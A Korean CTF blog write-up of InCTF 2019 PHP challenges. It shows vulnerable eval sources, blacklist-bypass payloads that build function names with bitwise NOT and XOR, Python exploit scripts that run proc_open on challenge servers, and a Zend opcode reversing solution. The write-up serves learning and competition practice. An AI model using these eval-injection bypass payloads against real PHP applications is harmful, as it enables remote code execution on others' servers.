Copy-Cat


해당 문제는 개인적으로 재밌게 푼 문제라 자세하게 적어볼겸 팀 블로그에 작성하였습니다.


https://defenit.kr/2019/09/24/Web/%E3%84%B4%20WriteUps/InCTF_2019_Copy-Cat_Writeup/



PHP+1


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


특문 필터가 안걸려있어서 그냥 ~로 비트연산해서 assert,eval 써준 담에 proc_open 써주면 된다.


payload = /?thisfile=/etc/&input=${~%A0%B8%BA%AB}{0}(${~%A0%B8%BA%AB}{1});&0=assert&1=eval($_GET[2])&2=%24%64%65%73%63%72%3d%61%72%72%61%79%28%30%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%72%22%29%2c%31%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%77%22%29%2c%32%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%77%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%24%70%69%70%65%73%20%3d%20%61%72%72%61%79%28%29%3b%0d%0a%20%20%20%20%24%70%72%6f%63%65%73%73%20%3d%20%70%72%6f%63%5f%6f%70%65%6e%28%22%2f%72%65%61%64%46%6c%61%67%22%2c%20%24%64%65%73%63%72%2c%20%24%70%69%70%65%73%29%3b%0d%0a%20%20%20%20%69%66%20%28%69%73%5f%72%65%73%6f%75%72%63%65%28%24%70%72%6f%63%65%73%73%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%31%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%31%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%31%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%32%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%32%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%32%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%63%5f%63%6c%6f%73%65%28%24%70%72%6f%63%65%73%73%29%3b%0d%0a%7d%0d%0a


 

PHP+1.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


특문 필터가 추가됬다. 근데 비트연산 중 ^가 필터 안된다. 이걸로 assert랑 eval만들어서 실행해주면 되고 그담엔 똑같이 proc_open 써주면 된다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://18.223.159.46/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("assert")+";"

payload += "$a("+generate_string("eval($_GET['cmd']);")+");"


shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



PHP+2.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  if(
strlen($input)>100){  #That is random no. I took ;)
    
echo "This is getting really large input..." "<br>";
    return 
true;
  }  
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


1.5에서 문자열 길이 제한이 추가됬다. 근데이건 이전 문제에서 쓴것도 애초에 길이제한 안걸리는 방식으로 풀어서 문제가 안된다. 해당 문제는 사실 중간에 2.0버전이 있었고 2.5버전이 2.0버전 업그레이드 버전인 것 같은데 문제 출제하신분이 실수로 proc_open을 안막아놔서 언인텐으로 엄청 많이 풀린 것 같다. 실제로 2.0버전은 proc_open이 막혀있고 솔버가 1명인데 2.5버전은 해당 함수가 풀려있고 솔버가 훨씬 많다. 플래그 보면 세그먼트 폴트로 쉘 따는걸 의도하신 것 같은데 이건 따로 더 풀어봐야겠따.

익스는 2.0버전에서 assert가 안먹혀서 길이제한 맞춘다고 create_function 쓰던걸 그대로 썼다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://3.16.218.96/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("create_function")+";"

payload += "$a("+generate_string(" ")+","+generate_string("}eval($_GET['cmd']);//")+");"

shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



s3cur3-r3v


line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
  51     1        FETCH_R                      global              $1      '_GET'
         2        FETCH_DIM_R                                      $2      $1, 'flag'
         3        ASSIGN                                                   !0, $2
  53     4        FETCH_IS                                         $4      '_GET'
         5        ISSET_ISEMPTY_DIM_OBJ                       33554432  ~5      $4, 'flag'
         6      > JMPZ                                                     ~5, ->10
  54     7    >   INIT_FCALL                                               'printflag'
         8        SEND_VAR                                                 !0
         9        DO_FCALL                                      0          
  58    10    > > RETURN                                                   1

line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   RECV                                             !0      
   3     1        ASSIGN                                                   !1, 'Yaay+here+is+your+flag%3A+'
   4     2        ASSIGN                                                   !2, 'Naay+try+harder+%21%21%21'
   6     3        BIND_GLOBAL                                              !3, 'flag'
   8     4        ASSIGN                                                   !4, ''
  10     5        ASSIGN                                                   !5, 32
         6      > JMP                                                      ->13
  12     7    >   INIT_FCALL                                               'chr'
         8        SEND_VAR                                                 !5
         9        DO_ICALL                                         $16     
        10        ASSIGN_CONCAT                                 0          !4, $16
  10    11        POST_INC                                         ~18     !5
        12        FREE                                                     ~18
        13    >   IS_SMALLER                                       ~19     !5, 97
        14      > JMPNZ                                                    ~19, ->7
  15    15    >   STRLEN                                           ~20     !0
        16        MOD                                              ~21     ~20, 4
        17        IS_NOT_EQUAL                                     ~22     ~21, 0
        18      > JMPZ                                                     ~22, ->20
  17    19    > > EXIT                                                     'BAD+INPUT'
  20    20    >   STRLEN                                           ~24     !0
        21        MUL                                              ~25     ~24, 3
        22        DIV                                              ~26     ~25, 4
        23        INIT_FCALL                                               'strrpos'
        24        SEND_VAR                                                 !0
        25        SEND_VAL                                                 '%60'
        26        DO_ICALL                                         $27     
        27        IS_SMALLER                                       ~28     0, $27
        28      > JMPZ                                                     ~28, ->37
        29    >   STRLEN                                           ~29     !0
        30        INIT_FCALL                                               'strrpos'
        31        SEND_VAR                                                 !0
        32        SEND_VAL                                                 '%60'
        33        DO_ICALL                                         $30     
        34        SUB                                              ~31     ~29, $30
        35        QM_ASSIGN                                        ~32     ~31
        36      > JMP                                                      ->38
        37    >   QM_ASSIGN                                        ~32     0
        38    >   SUB                                              ~33     ~26, ~32
        39        ASSIGN_DIM                                               !6
        40        OP_DATA                                                  ~33
  21    41        INIT_FCALL                                               'str_split'
        42        SEND_VAR                                                 !0
        43        DO_ICALL                                         $34     
        44        ASSIGN                                                   !7, $34
  22    45        ASSIGN                                                   !8, 0
  23    46        ASSIGN                                                   !9, 
  24    47        ASSIGN                                                   !5, 0
        48      > JMP                                                      ->110
  25    49    >   INIT_FCALL                                               'strpos'
        50        SEND_VAR                                                 !4
        51        FETCH_DIM_R                                      $40     !7, !5
        52        SEND_VAR                                                 $40
        53        DO_ICALL                                         $41     
        54        ASSIGN_DIM                                               !9, 0
        55        OP_DATA                                                  $41
  26    56        INIT_FCALL                                               'strpos'
        57        SEND_VAR                                                 !4
        58        ADD                                              ~43     !5, 1
        59        FETCH_DIM_R                                      $44     !7, ~43
        60        SEND_VAR                                                 $44
        61        DO_ICALL                                         $45     
        62        ASSIGN_DIM                                               !9, 1
        63        OP_DATA                                                  $45
  27    64        INIT_FCALL                                               'strpos'
        65        SEND_VAR                                                 !4
        66        ADD                                              ~47     !5, 2
        67        FETCH_DIM_R                                      $48     !7, ~47
        68        SEND_VAR                                                 $48
        69        DO_ICALL                                         $49     
        70        ASSIGN_DIM                                               !9, 2
        71        OP_DATA                                                  $49
  28    72        INIT_FCALL                                               'strpos'
        73        SEND_VAR                                                 !4
        74        ADD                                              ~51     !5, 3
        75        FETCH_DIM_R                                      $52     !7, ~51
        76        SEND_VAR                                                 $52
        77        DO_ICALL                                         $53     
        78        ASSIGN_DIM                                               !9, 3
        79        OP_DATA                                                  $53
  29    80        POST_INC                                         ~54     !8
        81        FETCH_DIM_R                                      $56     !9, 0
        82        SL                                               ~57     $56, 2
        83        FETCH_DIM_R                                      $58     !9, 1
        84        SR                                               ~59     $58, 4
        85        BW_OR                                            ~60     ~57, ~59
        86        ASSIGN_DIM                                               !6, ~54
        87        OP_DATA                                                  ~60
  30    88        FETCH_DIM_R                                      $61     !9, 2
        89        IS_SMALLER                                       ~62     $61, 64
        90      > JMPZ                                                     ~62, ->109
  31    91    >   POST_INC                                         ~63     !8
        92        FETCH_DIM_R                                      $65     !9, 1
        93        SL                                               ~66     $65, 4
        94        FETCH_DIM_R                                      $67     !9, 2
        95        SR                                               ~68     $67, 2
        96        BW_OR                                            ~69     ~66, ~68
        97        ASSIGN_DIM                                               !6, ~63
        98        OP_DATA                                                  ~69
  32    99        FETCH_DIM_R                                      $70     !9, 3
       100        IS_SMALLER                                       ~71     $70, 64
       101      > JMPZ                                                     ~71, ->109
  33   102    >   POST_INC                                         ~72     !8
       103        FETCH_DIM_R                                      $74     !9, 2
       104        SL                                               ~75     $74, 6
       105        FETCH_DIM_R                                      $76     !9, 3
       106        BW_OR                                            ~77     ~75, $76
       107        ASSIGN_DIM                                               !6, ~72
       108        OP_DATA                                                  ~77
  24   109    >   ASSIGN_ADD                                    0          !5, 4
       110    >   INIT_FCALL                                               'count'
       111        SEND_VAR                                                 !7
       112        DO_ICALL                                         $79     
       113        IS_SMALLER                                       ~80     !5, $79
       114      > JMPNZ                                                    ~80, ->49
  37   115    >   ASSIGN                                                   !10, ''
  38   116        ASSIGN                                                   !5, 0
       117      > JMP                                                      ->125
  40   118    >   INIT_FCALL                                               'chr'
       119        FETCH_DIM_R                                      $83     !6, !5
       120        SEND_VAR                                                 $83
       121        DO_ICALL                                         $84     
       122        ASSIGN_CONCAT                                 0          !10, $84
  38   123        POST_INC                                         ~86     !5
       124        FREE                                                     ~86
       125    >   INIT_FCALL                                               'count'
       126        SEND_VAR                                                 !6
       127        DO_ICALL                                         $87     
       128        IS_SMALLER                                       ~88     !5, $87
       129      > JMPNZ                                                    ~88, ->118
  42   130    >   ASSIGN                                                   !11, 'YtPEU%10E%24%19%5DV%11UE%92E%04%D8%5De%99%5D5RQ%25SAU%98YuVU%16%10e%85%D1I%96%13Y%96%17M%85%D6E%85%D6Q%04V'
  43   131        IS_IDENTICAL                                     ~90     !10, !11
       132      > JMPZ                                                     ~90, ->136
  44   133    >   CONCAT                                           ~91     !1, !3
       134        ECHO                                                     ~91
       135      > JMP                                                      ->137
  47   136    >   ECHO                                                     !2
  49   137    > > RETURN                                                   null


zend engine opcode 분석 문제다. 해당 opcode를 한땀한땀 분석해서 php 코드로 변환한 뒤 코드 분석해서 플래그 띄우는 인풋 구해주면 된다.


change.php


<?php


function printflag($input){

$success_message = "Yaay+here+is+your+flag%3A+";

$fail_message = "Naay+try+harder+%21%21%21";

global $flag;


$string_list = ""; 

$string_count = 32;


for ($string_count; $string_count<97; $string_count++){

$string_list .= (string)chr($string_count);

}


$input_mod_4 = strlen($input) % 4;


if ($input_mod_4 != 0){

exit("BAD INPUT");

}


$input_new_length = strlen($input) * 3 / 4;


if(strrpos($input,"`")>0){

$check_input = strlen($input) - strrpos($input,"`");

}

else{

$check_input = 0;

}


$input_array = str_split($input);

$tmp_array = array();

$calc_input_count = 0;


for ($i=0; $i<count($input_array); $i+=4){

$tmp_array[0] = strpos($string_list,$input_array[$i]);

$tmp_array[1] = strpos($string_list,$input_array[$i+1]);

$tmp_array[2] = strpos($string_list,$input_array[$i+2]);

$tmp_array[3] = strpos($string_list,$input_array[$i+3]);



$calc_input_result_array[$calc_input_count] = ($tmp_array[0]<<2) | ($tmp_array[1]>>4);

$calc_input_count += 1;


if ($tmp_array[2]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[1]<<4) | ($tmp_array[2]>>2);

$calc_input_count += 1;

}

else{

continue;

}


if ($tmp_array[3]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[2]<<6) | ($tmp_array[3]);

$calc_input_count += 1;

}

}

$result = "";

var_dump($calc_input_result_array);

echo "\n";

for ($i=0;$i<count($calc_input_result_array);$i++){

$result.=chr($calc_input_result_array[$i]);

}


if ("YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V"==$result){

echo "suc";

}

else{

echo "fail";

}

}


$input = $_GET['flag'];


if (!isset($_GET['flag'])){

echo "not Exist Input";

return;

}

else{

printflag($input);

}


exploit.py


import requests string_table = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`""" enc_text = "YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V" input = "" for p in range(0,len(enc_text),3): find_result = enc_text[p:p+3] for i in range(0,65): for j in range(0,65): if ((i<<2) | (j>>4))%256 == ord(find_result[0]): for k in range(0,64): if ((j<<4) | (k>>2))%256 == ord(find_result[1]): for a in range(0,64): if ((k << 6) | a)%256 == ord(find_result[2]): print "count " + str(p) + " = " + string_table[i]+string_table[j]+string_table[k]+string_table[a] + " -> " + find_result input += string_table[i]+string_table[j]+string_table[k]+string_table[a] print "Find Input = " + input

url ="http://3.15.186.35/?flag="+input

print requests.get(url).text



















'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,